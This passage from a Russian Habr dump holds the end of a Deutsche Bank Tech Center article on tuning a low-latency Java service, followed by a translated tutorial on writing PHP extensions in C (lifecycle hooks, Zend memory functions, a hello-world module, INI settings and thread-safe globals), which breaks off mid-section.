* Для взаимодействия с внешними клиентами мы используем protobuf+gRPC [завернутые и зашейденные в толстом джарнике](http://maven.apache.org/plugins/maven-shade-plugin/). В целом нас такая связка устраивает, можно лишь отметить, что клиентский jar получается относительно большим, около 10 MB, и есть необходимость реализации собственного фейловера и механизма переподписки, если один из серверов «упал».
* Для логирования мы используем [Log4j2](https://logging.apache.org/log4j/2.x/), настроенный в асинхронном и [GC-free режиме](https://logging.apache.org/log4j/2.x/manual/garbagefree.html), т. е. запись логов на диск выполняется в отдельном потоке с минимальной генерацией мусора. Кстати, логирование – основной контрибьютор в allocation-rate, поэтому с ним нужно быть внимательным.
* Для мониторинга, основной метрикой нам служат перцентили latency на request-response. 95-й перцентиль как раз держится на уровне 4 ms, т. е. 95% запросов мы обслуживаем быстрее, чем за 4 ms. Верхние перцентили, к сожалению, могут доходить до 200 ms и выше. Мы живем в мире Java, и от проблем с GC без дополнительных приседаний не уйти.
* Также мы мониторим детальное latency на критическом пути от прихода подписки до посылки результатов расчетов, текущую нагрузку, строим графики GC и других стандартных серверных метрик.
* Дополнительно мы разносим сервисы расчетов и сервис по сбору и обработке статики по отдельным процессам. Это очень важный момент, так как обработка, очистка и подготовка статики очень требовательны к CPU. Также нет гарантии, что внешние сервисы отвечают быстро и клиентские библиотеки написаны с прицелом на производительность. Поэтому все взаимодействие с внешними сервисами и предобработку данных удобно вынести в отдельный процесс, и в сервис расчетов передавать уже готовый снапшот данных.
### Заключение
В своей статье я рассказал об одном из проектов, над которым работает наша команда в ТехЦентре Дойче Банка, какие подходы и технологии мы применяем, и что помогает нам обеспечивать хорошую производительность и надежность. Надеюсь, эта информация будет вам полезной и поможет улучшить производительность собственных проектов.
Если вам интересно, над чем еще работают наши команды, добро пожаловать в наши каналы на [Хабре](https://habr.com/ru/company/dbtc/), [Youtube](https://www.youtube.com/user/dbtechcentre/feed) и соцсетях – [FB](https://www.facebook.com/dbdevcenter.ru/), [VK](https://vk.com/dbdevcenter) | https://habr.com/ru/post/527822/ | null | ru | null |
# Создание расширений PHP: Введение в PHP и Zend
Перевод статьи [Sara Golemon](http://devzone.zend.com/member/4580-SaraMG) [«Extension Writing Part I: Introduction to PHP and Zend»](http://devzone.zend.com/node/view/id/1021).
Введение
========
Если вы читаете данную статью, скорее всего у вас есть некоторый интерес к созданию расширений для языка PHP. Если же нет… возможно, когда вы прочтёте эту статью, то обнаружите в себе этот интерес, не смотря на то, что вы о нём даже не подозревали!
Материал, изложенный в данной статье, подразумевает знакомство как с самим языком PHP, так и с языком, на котором написан интерпретатор PHP: *C*.
Начнём с того, что определим причины, по которым вы хотите написать расширение для PHP:
1. Существование какой-нибудь библиотеки или специфичного вызова ОС, который не может быть сделан из PHP напрямую из-за уровня абстракции принятого в языке;
2. Вы хотите заставить PHP работать нестандартным способом;
3. У вас уже есть решение, написанное на PHP, но вы знаете, что оно может быть быстрее, компактней и потреблять меньше памяти в процессе работы;
4. У вас есть особенный код, который вы хотели бы продать. Однако, важно, что бы покупатель мог запускать Ваш код, но не смотреть исходники.
Все перечисленные выше причины являются вполне адекватными, но, создавая расширение, прежде всего вам стоит понимать, что это в первую очередь **расширение**.
Что такое Расширение?
=====================
Если вам приходилось использовать PHP, то вы использовали и расширения. За небольшим исключением каждая доступная для использования функция в языке PHP сгруппирована в то или иное расширение. Основная часть функций (более 400) входит в состав *стандартного расширения*. Исходные коды PHP распространяются с порядка 86 расширениями, имеющими примерно по 30 функций в каждом. Посчитав, получим где-то 2500 функций в сумме. Если этого не достаточно, [репозитарий PECL](http://pecl.php.net/) предлагает свыше 100 дополнительных расширений, ещё больше можно найти на бескрайних просторах интернета.
«Что же, с учётом всего этого множества функций, живущих в расширениях, тогда остаётся вне расширений?» — спросите вы. «Что расширения расширяют? Что такое **ядро PHP**?»
Ядро PHP реализовано в виде 2-х отдельных частей. Техническая часть языка представлена в виде **Zend Engine** (ZE). ZE отвечает за преобразование понятного для человека скрипта в понятные для компьютера токены (tokens), после чего выполняет их. Кроме того, ZE отвечает за управление памятью, область видимости переменных, обработку вызова функций.
Второй частью ядра является то, что непосредственно называется «ядром» (**the PHP core**). Оно отвечает за взаимодействие со слоем SAPI (Server Application Programming Interface, интерфейс взаимодействия PHP с другим серверным ПО — CLI, CGI, Apache и так далее). Кроме того, ядро реализует обобщённый слой контроля для проверок safe\_mode и open\_basedir (данные фичи объявлены depricated с версии 5.3), так же, как и слой потоков, который ассоциирует файловые и сетевые I/O операции с функциями fopen, fread и fwrite.
Жизненный цикл
==============
Когда происходит запуск заданного SAPI (например, при запуске сервера Apache по команде */usr/local/apache/bin/apachectl start*), PHP начинает свою работу с запуска подсистемы ядра. К концу процедуры запуска он загружает код каждого расширения и вызывает его функцию **Module Initialization** (MINIT). Это даёт каждому расширению возможность инициализировать внутренние переменные, выделить память под ресурсы, зарегистрировать обработчики ресурсов и свои функции в ZE, что бы при вызове каким-нибудь скриптом функции этого расширения ZE знал, какой код ему выполнять.
Далее PHP ждёт от слоя SAPI запроса на обработку страницы. В случае CGI или CLI SAPI это происходит незамедлительно и только один раз. В случае SAPI Apache, IIS или другого полноценного web-сервера запрос на обработку страницы происходит каждый раз при запросе (возможно конкурентном) страницы удалённым пользователем. Однако, вне зависимости от того, каким образом пришёл запрос, его обработка начинается с того, что ядро PHP просит ZE настроить окружающую среду для запуска скрипта, после чего вызывает функцию **Request Initialization** (RINIT) для каждого расширения. *RINIT* даёт расширениям возможность настроить специфичные переменные окружения, выделить память для специфичных ресурсов запроса и выполнить другие задания. Наглядным примером функции *RINIT* в действии может служить расширение *session*, в котором при включенной настройке *session.auto\_star*t функция *RINIT* автоматически вызывает исполнение функции *session\_start* и инициализирует переменную *$\_SESSION*.
После того, как запрос инициализирован, ZE транслирует PHP скрипт в **токены**, а затем в **опкоды** (opcodes), которые он может выполнить. Если какой-нибудь из этих опкодов запрашивает вызов функции из расширения, ZE формирует аргументы для вызова этой функции и временно передаёт ей управление до её завершения.
После того как скрипт завершил своё выполнение, PHP вызывает функцию **Request Shutdown** (RSHUTDOWN) для каждого расширения, что выполнить все необходимые для завершения чистки (например, сохранение сессионных переменных на диск). Следующим шагом ZE выполняет процесс чистки (также известный как сборка мусора), который фактически выполняет метод *unset* для каждой переменной, использованной в выполненном скрипте (начиная с PHP 5.3 [механизм сборки мусора](http://php.net/manual/en/features.gc.php) значительно улучшен).
Завершив обработку запроса, PHP ждёт от SAPI либо запроса на обработку другого скрипта, либо сигнала на завершение. В случае CGI или CLI SAPI «следующий запрос» невозможен, поэтому SAPI инициализирует завершение работы PHP незамедлительно. В процессе завершения PHP перебирает все расширения и для каждого вызывает функцию **Module Shutdown** (MSHUTDOWN), после чего завершает свою собственную подсистему ядра.
Этот процесс поначалу может показаться немного запутанным, но, погрузившись в работу над расширениями, вы постепенно прочувствуете его.
Выделение памяти
================
Для того, что бы избежать утечек памяти в плохо написанных расширениях, ZE использует свой собственный внутренний механизм управления памятью, основанный на дополнительном флаге для определения времени жизни данных. Постоянное (**persistent**) выделение памяти означает, что память будет выделена более, чем на время обработки запроса одной страницы. Непостоянное (**non-persistent**) выделение памяти означает освобождение памяти после обработки запроса вне зависимости от того, была ли вызвана функция освобождения памяти. К примеру, выделение памяти под пользовательские переменные носит непостоянный характер, так как по завершению обработки запроса они становятся бесполезными.
Несмотря на то, что расширение в теории может возложить на ZE освобождение непостоянной памяти автоматически по завершению каждого запроса, делать это не рекомендуется. Выделенная память будет оставаться долгое время невостребованной, ассоциированные с этой памятью ресурсы будут иметь меньше шансов быть закрытыми правильно, и, в конце концов, создание путаницы с освобождением памяти — плохая практика. Как вы увидите позже, убедиться, что все данные отчищены верно, достаточно легко.
Давайте кратко сравним традиционные функции выделения памяти (которые стоит использовать только при работе с внешними библиотеками) с функциями постоянного и непостоянного выделения памяти в PHP/ZE.
| **Традиционные** | **Непостоянные** | **Постоянные** |
| --- | --- | --- |
| malloc(count) | emalloc(count) | pemalloc(count, 1)\* |
| calloc(count, num) | ecalloc(count, 1) | pecalloc(count, num, 1) |
| strdup(str) | estrdup(str) | pestrdup(str, 1) |
| strndup(str, len) | estrndup(str, len) | pemalloc() & memcpy() |
| free(ptr) | efree(ptr) | pefree(ptr, 1) |
| realloc(ptr, newsize) | erealloc(ptr, newsize) | perealloc(ptr, newsize, 1) |
| malloc(count \* num + extr)\*\* | safe\_emalloc(count, num, extr) | safe\_pemalloc(count, num, extr) |
*\* Семейство функций pemalloc принимает в качестве параметра флаг «постоянности», который позволяет им вести себя как их непостоянные аналоги.
К примеру: emalloc(1234) тоже самое, что и pemalloc(1234, 0)
\*\* safe\_emalloc() и (в PHP 5) safe\_pemalloc реализуют дополнительную проверку целочисленных переполнений.*
Настройка и сборка окружения
============================
Теперь, когда вы ознакомились с теорией работы PHP и Zend Engine, могу поспорить, вам не терпится погрузиться в работу и начать что-нибудь делать. Однако, перед этим вам нужно обзавестись кое-какими утилитами для сборки и настроить окружение для ваших целей.
Прежде всего, вам необходим сам PHP и набор средств сборки, необходимых для PHP. Если вам не приходилось собирать PHP из исходников, предлагаю взглянуть на [эту статью](http://www.php.net/manual/en/install.unix.php). Несмотря на то, что использование бинарного пакета с исходниками PHP может показаться заманчивым, такие сборки зачастую лишены двух важных параметров программы *./configure*, которые очень полезны во время процесса разработки. Первый из них это **--enable-debug**. Эта опция компилирует PHP с дополнительной отладочной информацией в исполняемых файлах, так что при возникновении ошибки сегментации (segfault) вы сможете получить дамп ядра и воспользоваться отладчиком gdb, что бы выяснить, где и почему произошла ошибка.
Название второй опции зависит от того, с какой версией PHP вы собираетесь работать. В PHP 4.3 она называется **--enable-experimental-zts**, начиная с PHP 5, она переименована в **--enable-maintainer-zts**. Эта опция заставит PHP думать, что он работает в многопотоковой (multithread) среде, и позволит вам отловить общие ошибки, которые незаметны в среде без потоков, но повлекут нестабильную работу вашего расширения в многопотоковой среде.
Скомпилировав PHP с дополнительными опциями и установив его на сервер разработки (или рабочую станцию), вы можете преступать к созданию своего первого расширения.
Hello World
===========
Какая вводная статья по программированию может считаться завершённой без примера ставшей уже обязательной программы Hello World? В данном случае, мы рассмотрим создание расширения, которое добавляет в PHP одну единственную функцию, возвращающую строку со словом «Hello World». На PHP вы возможно реализовали бы это примерно так:
> `php<br/
>
>
> function hello\_world() {
>
> return 'Hello World';
>
> }
>
>
>
> ?>`
Теперь давайте сделаем из этой функции расширение PHP. Первым делом создадим подкаталог *hello* в каталоге *ext/* дерева каталогов исходников PHP и сделаем *cd* в него. В принципе, этот каталог может располагаться где угодно внутри или снаружи дерева каталогов с исходниками, но вам следует поместить его именно сюда для возможности ссылаться на него из статьи в дальнейшем. Здесь вам нужно создать три файла:
1. конфигурационный файл (*config.m4*), используемый утилитой *phpize* для подготовки расширения к компиляции:
> `PHP_ARG_ENABLE(hello, whether to enable Hello World support,
>
> [ --enable-hello Enable Hello World support])
>
>
>
> if test "$PHP_HELLO" = "yes"; then
>
> AC_DEFINE(HAVE_HELLO, 1, [Whether you have Hello World])
>
> PHP_NEW_EXTENSION(hello, hello.c, $ext_shared)
>
> fi`
2. заголовочный файл (*php\_hello.h*), содержащий указания, используемые PHP для загрузки расширений:
> `#ifndef PHP\_HELLO\_H
>
> #define PHP\_HELLO\_H 1
>
>
>
> #define PHP\_HELLO\_WORLD\_VERSION "1.0"
>
> #define PHP\_HELLO\_WORLD\_EXTNAME "hello"
>
>
>
> PHP\_FUNCTION(hello\_world);
>
>
>
> extern zend\_module\_entry hello\_module\_entry;
>
> #define phpext\_hello\_ptr &hello\_module\_entry
>
>
>
> #endif`
3. файл с исходниками (*hello.c*), содержащий тело функции hello\_world:
> `#ifdef HAVE\_CONFIG\_H
>
> #include "config.h"
>
> #endif
>
>
>
> #include "php.h"
>
> #include "php\_hello.h"
>
>
>
> static function\_entry hello\_functions[] = {
>
> PHP\_FE(hello\_world, NULL)
>
> {NULL, NULL, NULL}
>
> };
>
>
>
> zend\_module\_entry hello\_module\_entry = {
>
> #if ZEND\_MODULE\_API\_NO >= 20010901
>
> STANDARD\_MODULE\_HEADER,
>
> #endif
>
> PHP\_HELLO\_WORLD\_EXTNAME,
>
> hello\_functions,
>
> NULL,
>
> NULL,
>
> NULL,
>
> NULL,
>
> NULL,
>
> #if ZEND\_MODULE\_API\_NO >= 20010901
>
> PHP\_HELLO\_WORLD\_VERSION,
>
> #endif
>
> STANDARD\_MODULE\_PROPERTIES
>
> };
>
>
>
> #ifdef COMPILE\_DL\_HELLO
>
> ZEND\_GET\_MODULE(hello)
>
> #endif
>
>
>
> PHP\_FUNCTION(hello\_world)
>
> {
>
> RETURN\_STRING("Hello World", 1);
>
> }`
Большая часть кода, которую вы видите в предыдущем примере, всего лишь своего рода «клей» — протокол для регистрации расширения в PHP и установления диалога между ними. Реальным же кодом являются только последние 4 строки в файле *hello.c*, которые выполняют действия на уровне, который может быть вызван из пользовательского скрипта. Несомненно, этот код довольно похож на PHP код, который мы видели ранее, и может быть легко разобран на части:
* объявление функции с именем hello\_world,
* установка в качестве возвращаемого значения строки «Hello World»,
* хм… 1? Что же значит эта 1?
Вспомним, что ZE использует усовершенствованный механизм управления памятью, который проверяет, что все запрошенные ресурсы высвобождены на момент завершения работы скрипта. В мире управления памятью повторное освобождение одного и того же блока памяти считается *большим ай-ай-ай*. Такое действие называется «двойное освобождение» и является частой причиной ошибок сегментации, так как заставляет программу попытаться получить доступ к блоку памяти, который ей больше не принадлежит.
Проще говоря, что бы ZE не начал повторно освобождать память, занимаемую статической строкой (какой является «Hello World» в нашем примере), функция hello\_world должна каждый раз при вызове возвращать копию строки.
В принципе функция *RETURN\_STRING* может взять на себя ответственность за то, что любая строка, переданная в неё должна быть скопирована, так что бы была возможность безопасно освободить занимаемую ей память позже. Однако, так как выделение памяти под строку, копирование строки и возвращение копии как результата не является стандартным поведением для внутренних функций ZE, *RETURN\_STRING* позволяет указать, необходимо ли делать копию переменной или нет с помощью второго аргумента. Для более наглядного описания данной концепции, обратите внимание на следующий фрагмент кода, который функционально идентичен предыдущему:
> `PHP\_FUNCTION(hello\_world)
>
> {
>
> char \*str;
>
>
>
> str = estrdup("Hello World");
>
> RETURN\_STRING(str, 0);
>
> }`
В этом примере вы вручную выделили непостоянную память для строки «Hello World», которую передали обратно в вызывающий скрипт с помощьюфункции *RETURN\_STRING*, указав ей 0 в качестве второго параметра, что заставляет функцию не делать копию строки, так как она может воспользоваться нашей.
Сборка расширения
=================
Последним шагом в этом упражнении будет сборка вашего расширения как динамически подгружаемого модуля. Если вы скопировали предыдущие примеры верно, остаётся лишь запустить три команды из каталога ext/hello/:
> `$ phpize
>
> $ ./configure --enable-hello
>
> $ make`
Обратите внимание, что для корректной работы утилиты *phpize* необходимо наличие утилит *m4* и *autoconf*.
После запуска всех этих команд у вас должен появится файл *hello.so* в папке *ext/hello/modules/*. Теперь, как и любое другое расширение PHP, вы можете просто скопировать его каталог с расширениями (по-умолчанию это */usr/local/lib/php/extensions/*, но на всякий случай проверьте настройки *php.ini* или воспользуйтесь командой *php-config --extension-dir*) и добавьте строку *extension=hello.so* в *php.ini* для инициализации загрузки расширения при запуске PHP. Для SAPI типа CGI/CLI это будет следующий запуск скрипта, для SAPI web-серверов типа Apache это будет следующий перезапуск сервера. Давайте попробуем вызвать функцию из командной строки:
> `$ php –r ‘echo hello_world();’`
Если всё пойдёт так, как должно, вы увидите строку *Hello World* в качестве результата работы скрипта, так как функция *hello\_world* из загруженного расширения возвращает строку, а команда *echo* отображает то, что ей было передано на вход (в данном случае – результат работы функции *hello\_world*).
В данном примере мы возвращали строку, другие скалярные типы данных могут быть возвращены по схожему принципу: RETURN\_LONG для целочисленных значений, *RETURN\_DOUBLE* для чисел с плавающей точкой, *RETURN\_BOOL* для TRUE/FALSE и *RETURN\_NULL* для, как вы догадались, NULL-значений. Давайте посмотрим на каждую из них в действии, добавив строки с макросом *PHP\_FE* в структуру *function\_entity* и соответствующие им макросы *PHP\_FUNCTION* в файле *hello.c*:
> `static function\_entry hello\_functions[] = {
>
> PHP\_FE(hello\_world, NULL)
>
> PHP\_FE(hello\_long, NULL)
>
> PHP\_FE(hello\_double, NULL)
>
> PHP\_FE(hello\_bool, NULL)
>
> PHP\_FE(hello\_null, NULL)
>
> {NULL, NULL, NULL}
>
> };
>
>
>
> PHP\_FUNCTION(hello\_long)
>
> {
>
> RETURN\_LONG(42);
>
> }
>
>
>
> PHP\_FUNCTION(hello\_double)
>
> {
>
> RETURN\_DOUBLE(3.1415926535);
>
> }
>
>
>
> PHP\_FUNCTION(hello\_bool)
>
> {
>
> RETURN\_BOOL(1);
>
> }
>
>
>
> PHP\_FUNCTION(hello\_null)
>
> {
>
> RETURN\_NULL();
>
> }`
Кроме того, нам придётся добавить прототипы для этих функций рядом с прототипом для функции *hello\_world* в заголовочном файле *php\_hello.h* для того, что бы процесс сборки прошёл без проблем:
> `PHP\_FUNCTION(hello\_world);
>
> PHP\_FUNCTION(hello\_long);
>
> PHP\_FUNCTION(hello\_double);
>
> PHP\_FUNCTION(hello\_bool);
>
> PHP\_FUNCTION(hello\_null);`
Так как вы не вносили изменений в файл *config.m4*, технически нет необходимости повторять шаги *phpize* и *./configure*, а можно сразу перейти к выполнению команды *make*. Тем не менее, на этот раз я попрошу вас пройти через все три шага сборки заново с целью убедиться, что никаких проблем не возникло. Кроме того, в качестве последнего шага вы можете использовать команду *make clean all* вместо *make*, что бы быть уверенным, что все файлы с исходниками будут пересобраны. Повторюсь, что это не необходимо ввиду типа изменений, которые вы сделали, но лучше перестраховаться, чем наткнуться на ошибку. После того, как модуль собран, вам остаётся скопировать его в каталог расширений, заменив им старую версию.
Сейчас вы можете снова вызвать интерпретатор PHP, передав ему нехитрые скрипты для того, что бы протестировать только что добавленные функции. На самом деле – почему бы ни сделать это сейчас? Я подожду вас здесь…
Готово? Хорошо. Если для просмотра результата работы каждой функции вы использовали *var\_dump*, а не *echo*, то, возможно, обратили внимание, что *hello\_bool* возвращает TRUE. Это результат равенства 1-це аргумента функции. Также как и в PHP-скриптах, целочисленное значение 0 эквивалентно FALSE, в то время как любое другое число эквивалентно TRUE. Авторы расширений зачастую используют соглашение, согласно которому этим числом является 1. Желательно, но не обязательно, что бы и вы придерживались этого соглашения. Кроме того, для большего удобства доступны макросы *RETURN\_TRUE* и *RETURN\_FALSE*. Ниже приведён пример функции *hello\_bool* с использованием макроса *RETURN\_TRUE*.
> `PHP\_FUNCTION(hello\_bool)
>
> {
>
> RETURN\_TRUE;
>
> }`
Обратите внимание, что никаких круглых скобок при вызове макроса не использовалось. В этом плане макросы *RETURN\_TRUE* и *RETURN\_FALSE* отличаются от остальных макросов семейства *RETURN\_\**, так что будьте внимательны и не попадитесь на этом!
Вы, возможно, заметили, что во всех предыдущих примерах мы не передаём параметр, отвечающий за создание копии результата. Причина этого в том, что для таких простых скалярных величин не требуется выделение или освобождение дополнительной памяти.
Существуют ещё 3 дополнительных возвращаемых типа: **RESOURCE** (возвращаемый, к примеру, функциями *mysql\_connect*, *fsockopen* или *ftp\_connect*), **ARRAY** (также известный как **HASH**) и **OBJECT** (возвращаемый по ключевому слову *new*). Речь о них пойдёт позже.
INI-настройки
=============
Zend Engine предоставляет два подхода для работы с INI-данными. Сейчас мы рассмотрим наиболее простой из них, а к более общему вернёмся после ознакомления с глобальными переменными.
Предположим, вы хотите объявить в файле *php.ini* настройку *hello.greeting* для вашего расширения, которая будет содержать значение для вывода функцией *hello\_world*. Для этого нам придётся добавить несколько изменений в файлы *hello.c* и *php\_hello.h* в рамках изменения структуры *hello\_module\_entry*. Начнём с добавления следующих прототипов перед списком прототипов пользовательских функций в файле *php\_hello.h*:
> `PHP\_MINIT\_FUNCTION(hello);
>
> PHP\_MSHUTDOWN\_FUNCTION(hello);
>
>
>
> PHP\_FUNCTION(hello\_world);
>
> PHP\_FUNCTION(hello\_long);
>
> PHP\_FUNCTION(hello\_double);
>
> PHP\_FUNCTION(hello\_bool);
>
> PHP\_FUNCTION(hello\_null);`
Далее откройте файл *hello.c* и замените текущую версию *hello\_module\_entry* на следующую:
> `zend\_module\_entry hello\_module\_entry = {
>
> #if ZEND\_MODULE\_API\_NO >= 20010901
>
> STANDARD\_MODULE\_HEADER,
>
> #endif
>
> PHP\_HELLO\_WORLD\_EXTNAME,
>
> hello\_functions,
>
> PHP\_MINIT(hello),
>
> PHP\_MSHUTDOWN(hello),
>
> NULL,
>
> NULL,
>
> NULL,
>
> #if ZEND\_MODULE\_API\_NO >= 20010901
>
> PHP\_HELLO\_WORLD\_VERSION,
>
> #endif
>
> STANDARD\_MODULE\_PROPERTIES
>
> };
>
>
>
> PHP\_INI\_BEGIN()
>
> PHP\_INI\_ENTRY("hello.greeting", "Hello World", PHP\_INI\_ALL, NULL)
>
> PHP\_INI\_END()
>
>
>
> PHP\_MINIT\_FUNCTION(hello)
>
> {
>
> REGISTER\_INI\_ENTRIES();
>
>
>
> return SUCCESS;
>
> }
>
>
>
> PHP\_MSHUTDOWN\_FUNCTION(hello)
>
> {
>
> UNREGISTER\_INI\_ENTRIES();
>
>
>
> return SUCCESS;
>
> }`
Теперь вам следует добавить соответствующую директиву *#include* в начале файла *hello.c* для получения заголовков для работы с INI-файлами:
> `#ifdef HAVE\_CONFIG\_H
>
> #include "config.h"
>
> #endif
>
>
>
> #include "php.h"
>
> #include "php\_ini.h"
>
> #include "php\_hello.h"`
Последнее, что вам осталось – это модифицировать функцию *hello\_world* так, что бы она использовала INI-настройку:
> `PHP\_FUNCTION(hello\_world)
>
> {
>
> RETURN\_STRING(INI\_STR("hello.greeting"), 1);
>
> }`
Обратите внимание, что вы создаёте копию значения, полученного от *INI\_STR*. Причина в том, что строка, возвращаемая *INI\_STR* является статической. Другими словами, если вы попытаетесь её изменить рабочее окружение PHP может стать нестабильным или даже аварийно завершиться.
Первый набор внесённых в этой главе изменений добавляет два новых метода, с которыми вы должны быть уже знакомы: *MINIT* и *MSHUTDOWN*. Как упоминалось ранее, эти методы вызываются при первом запуске SAPI-слоя и в процессе завершения его работы соответственно. Они не вызываются в течение или между запросами. В этом примере они используются для регистрации записей из файла php.ini, объявленных в вашем расширении. Также в этих функциях могут быть зарегистрированы ресурсы, объекты и обработчики потоков.
В вашей функции *hello\_world* вы используете макрос *INI\_STR* для получения текущего значения записи *hello.greating* в качестве строки. Существует совокупность других функций для получения целочисленных значений, значений с плавающей точкой, булевых значений перечисленных ниже. В дополнение эти функции имеют дубликаты с суффиксом ORIG, позволяющие получить значение записи в том виде, в котором оно записано в файле *php.ini* (до того, как могло быть изменено посредствам файла *.htaccess* или функции *ini\_set*).
| **Текущее значение** | **Оригинальное значение** | **Тип** |
| --- | --- | --- |
| INI\_STR(name) | INI\_ORIG\_STR(name) | Char \* (NULL terminated) |
| INI\_INT(name) | INI\_ORIG\_INT(name) | signed long |
| INI\_FLT(name) | INI\_ORIG\_FLT(name) | signed double |
| INI\_BOOL(name) | INI\_ORIG\_BOOL(name) | Zend\_bool |
Перейдём к функции *PHP\_INI\_ENTRY*. Первым параметром ей передаётся строка, содержащая имя интересующей вас записи в файле *php.ini*. Для того, что бы избежать коллизий между именами записей в *php.ini*, вам следует использовать те же соглашения, что при наименовании функций: имя должно начинаться с префикса, совпадающего с именем расширения. Так же соглашение предусматривает, что разделителем имени расширения от оригинального имени настройки в INI-файлах должна служить точка. В данном случае имя настройки будет выглядеть как *hello.greeting*.
Вторым параметром является начальное значение настройки, которое всегда задаётся как char\* вне зависимости от того, является ли значение числом или нет. Это является следствием того факта, что все настройки в INI-файлах по своей сути текстовые, так как сам файл текстовый. Только последующее использование в скрипте макросов *INI\_INT*, *INI\_FLT* или *INI\_BOOL* вызывает преобразование их типов.
Третьим параметром является модификатор уровня доступа. Это битовая маска, которая определяет когда и как данная INI-настройка может быть модифицирована. Для некоторых настроек, таких как *register\_globals*, просто-напросто не имеет смысла позволять изменение значения внутри скрипта с помощью функции *ini\_set*, так как данная настройка имеет смысл только во время подготовки обработки запроса – до того как скрипту дана возможность отработать. Другие, такие как *allow\_url\_fopen*, являются административными настройками, которые пользователи не должны иметь права изменять ни через *ini\_set*, ни через директивы *.htaccess*. По-умолчанию значением для этого параметра является значение *PHP\_INI\_ALL*, указывающее, что значение настройки может меняться где угодно. Также возможны значения *PHP\_INI\_SYSTEM|PHP\_INI\_PERDIR*, указывающие, что значение настройки может быть изменено через php.ini или директиву в файле .htaccess, но через функцию ini\_set(). Или же возможно значение *PHP\_INI\_SYSTEM*, означающее, что настройку можно изменить только через файл *php.ini* и нигде больше.
Последний четвёртый параметр позволяет указать функцию обратного вызова (callback), вызываемую при изменении настройки с помощью функции *ini\_set*. Это позволяет расширениям производить более полный контроль над условиями изменения настройки или вызывать соответствующую функцию в зависимости от нового значения настройки.
Глобальные переменные
=====================
Довольно часто расширению требуется обработать переменную в отдельном запросе, сохраняя её значение независимым от других запросов, которые могут обрабатываться в тоже самое время. В немногопоточном SAPI это можно сделать очень просто: всего лишь объявите глобальную переменную в файле с исходным кодом и обращайтесь к ней, когда вам нужно. Проблема в том, что, так как PHP спроектирован для работы с многопоточными web-серверами (такими как Apache 2 и ISS), ему необходимо хранить глобальные переменные, используемые одним потоком, отдельно от глобальных переменных другого. PHP значительно упрощает эту задачу благодаря использованию слоя абстракции **TSRM** (Thread Safe Resource Manager) иногда называемого **ZTS** (Zend Thread Safety). Фактически в данной статье уже использовались части TSRM, чего вы даже не заметили. (Не пытайтесь найти их, так как пока для вас это слишком сложно).
Первая часть создания потокобезопасной глобальной переменной, как и любой другой глобальной переменной, заключается в её объявлении. В качестве примера мы объявим одну глобальную переменную типа long, начальным значением которой будет 0. Каждый раз, когда функция hello\_long будет вызываться, мы будем увеличивать значение глобальной переменной и возвращать её значение.
Добавьте следующий фрагмент кода в файл *php\_hello.h* сразу после строки *#define PHP\_HELLO\_H*:
> `#ifdef ZTS
>
> #include "TSRM.h"
>
> #endif
>
>
>
> ZEND\_BEGIN\_MODULE\_GLOBALS(hello)
>
> long counter;
>
> ZEND\_END\_MODULE\_GLOBALS(hello)
>
>
>
> #ifdef ZTS
>
> #define HELLO\_G(v) TSRMG(hello\_globals\_id, zend\_hello\_globals \*, v)
>
> #else
>
> #define HELLO\_G(v) (hello\_globals.v)
>
> #endif`
Вам также предстоит использовать метод *RINIT*, так что необходимо объявить его прототип в заголовке:
> `PHP\_MINIT\_FUNCTION(hello);
>
> PHP\_MSHUTDOWN\_FUNCTION(hello);
>
> PHP\_RINIT\_FUNCTION(hello);`
Теперь давайте перейдём к файлу *hello.c* и добавим следующий код после блока include’ов:
> `#ifdef HAVE\_CONFIG\_H
>
> #include "config.h"
>
> #endif
>
>
>
> #include "php.h"
>
> #include "php\_ini.h"
>
> #include "php\_hello.h"
>
>
>
> ZEND\_DECLARE\_MODULE\_GLOBALS(hello)`
Изменим *hello\_module\_entry*, добавив в него *PHP\_RINIT(hello)*:
> `zend\_module\_entry hello\_module\_entry = {
>
> #if ZEND\_MODULE\_API\_NO >= 20010901
>
> STANDARD\_MODULE\_HEADER,
>
> #endif
>
> PHP\_HELLO\_WORLD\_EXTNAME,
>
> hello\_functions,
>
> PHP\_MINIT(hello),
>
> PHP\_MSHUTDOWN(hello),
>
> PHP\_RINIT(hello),
>
> NULL,
>
> NULL,
>
> #if ZEND\_MODULE\_API\_NO >= 20010901
>
> PHP\_HELLO\_WORLD\_VERSION,
>
> #endif
>
> STANDARD\_MODULE\_PROPERTIES
>
> };`
И измените вашу функцию *MINIT* вместе с добавлением ещё нескольких функций для обработки инициализации при старте запроса:
> `static void php\_hello\_init\_globals(zend\_hello\_globals \*hello\_globals)
>
> {
>
> }
>
>
>
> PHP\_RINIT\_FUNCTION(hello)
>
> {
>
> HELLO\_G(counter) = 0;
>
>
>
> return SUCCESS;
>
> }
>
>
>
> PHP\_MINIT\_FUNCTION(hello)
>
> {
>
> ZEND\_INIT\_MODULE\_GLOBALS(hello, php\_hello\_init\_globals, NULL);
>
>
>
> REGISTER\_INI\_ENTRIES();
>
>
>
> return SUCCESS;
>
> }`
И, наконец, вы можете изменить функцию *hello\_long*, добавив в неё использование глобальной переменной:
> `PHP\_FUNCTION(hello\_long)
>
> {
>
> HELLO\_G(counter)++;
>
>
>
> RETURN\_LONG(HELLO\_G(counter));
>
> }`
В изменениях, которые вы внесли в файл *php\_hello.h*, вы использовали пару макросов – *ZEND\_BEGIN\_MODULE\_GLOBALS* и *ZEND\_END\_MODULE\_GLOBALS*. С их помощью была определена структура *zend\_hello\_globals*, содержащая одну переменную типа long. После этого был определён макрос *HELLO\_G*, позволяющий в зависимости от режима компиляции (с учётом или без многопоточности) получать значение из пула потоков или просто взять его из глобальной области видимости.
В файле *hello.c* с помощью макроса *ZEND\_DECLARE\_MODULE\_GLBALS* вы объявили структуру *zend\_hello\_globals* либо как глобальную (при непотокобезопасной сборке), либо как член пула ресурсов потока. Нам как авторам расширения не нужно задумываться об этом механизме, так как всю работу берёт на себя ZE. И, наконец, вы используете функцию *ZEND\_INIT\_MODULE\_GLOBALS* для выделения идентификатора потокобезопасного ресурса.
Возможно, вы заметили, что функция *php\_hello\_init\_globals* на самом деле ничего не делает. Кроме того, инициализация счётчика значением 0 оказалась в функции *RINIT*. Почему?
